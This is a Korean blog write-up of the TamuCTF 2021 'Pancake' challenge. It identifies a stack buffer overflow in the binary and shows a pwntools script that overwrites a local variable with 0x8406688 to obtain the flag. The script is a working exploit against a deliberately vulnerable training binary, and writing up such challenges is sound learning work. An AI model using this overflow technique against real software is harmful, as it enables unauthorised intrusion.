이번에 풀이할 문제는 TamuCTF의 Pancake 문제다.
문제 파일은 pancake만 주어져 있다.
문제를 실행해보면 위와 같은 결과가 나온다. 지금껏 풀었던 wargame을 기반으로 추측해보자면 stack overflow를 통한 변수 값이나 ret 변조, 쉘코드 삽입이 아닐까 생각이든다.
checksec 명령어로 보호기법을 확인해보니 NX만 걸려있는 것을 볼 수 있다. canary는 존재하지 않는 것을 봐서 stack overflow를 통한 ret, 변수 값 변조가 맞는 것 같다.
ida를 통해 main 코드를 확인해보니 fgets로 80byte만큼 입력 값을 받아 char형 배열 s에 저장하는데, 이 후 int형 변수 v13의 값이 138438280이라면 flag를 읽어준다. stack overflow를 통한 값 변조 공격이라는 생각이 들어서 s와 v13의 거리를 확인해봤다.
s와 v13의 거리는 68byte지만 입력은 80byte를 받는다. overflow 공격이 성립한다.
입력으로 더미 값 * 68 + 0x8406688(138438280의 16진수 값)을 준다면 flag를 얻을 수 있을 것이다.
취약점을 찾고 exploit할 방법까지 생각했지만 문제는 여기서부터였다.
대회 서버가 특이하게 openssl를 사용하기에 아무리 구글링을 해봐도 pwntools로 openssl에 접속하는 방법을 찾지 못하겠는 것이었다.
1시간 가량을 삽질하고 문의를 넣어볼까 생각하던 즈음 ctf 홈페이지의 news 텝에서 위와 같은 문구를 발견했다..
요약하자면 pwntools 같은 소프트웨어를 사용할 경우 socat -d TCP-LISTEN:4444,reuseaddr,fork EXEC:'openssl s_client -connect tamuctf.com\:443 -servername challenge_name -quiet' 명령어를 입력한 후 localhost:4444에 연결한다면 접속할 수 있다고 한다. 나 1시간 동안 뭐한거지?
news에 적혀있던 명령어를 입력해 socat 서버를 열었다.
from pwn import *
payload = b'A' * 68 + p64(0x8406688) # 페이로드 생성
p = remote("localhost", 4444) # 서버 접속
#p = process("./pancake") 로컬
p.sendline(payload) # 페이로드 전송
p.interactive()
더미 값을 'A' 68byte + 0x8406688를 64bit little endian으로 패킹해서 payload를 생성했다. 그 후 앞서 socat으로 연 서버에 접속한 후 payload를 전송하도록 작성했다.
'CTF' 카테고리의 다른 글
[DawgCTF 2021] Misc - DawgCTF Discord (0) | 2021.05.08 |
---|---|
TamuCTF 2021 후기 (0) | 2021.04.25 |
TamuCTF 2021 - TicTacToe (0) | 2021.04.25 |
TamuCTF 2021 - Handshake (0) | 2021.04.25 |
PlaidCTF - Plaidflix (0) | 2021.04.20 |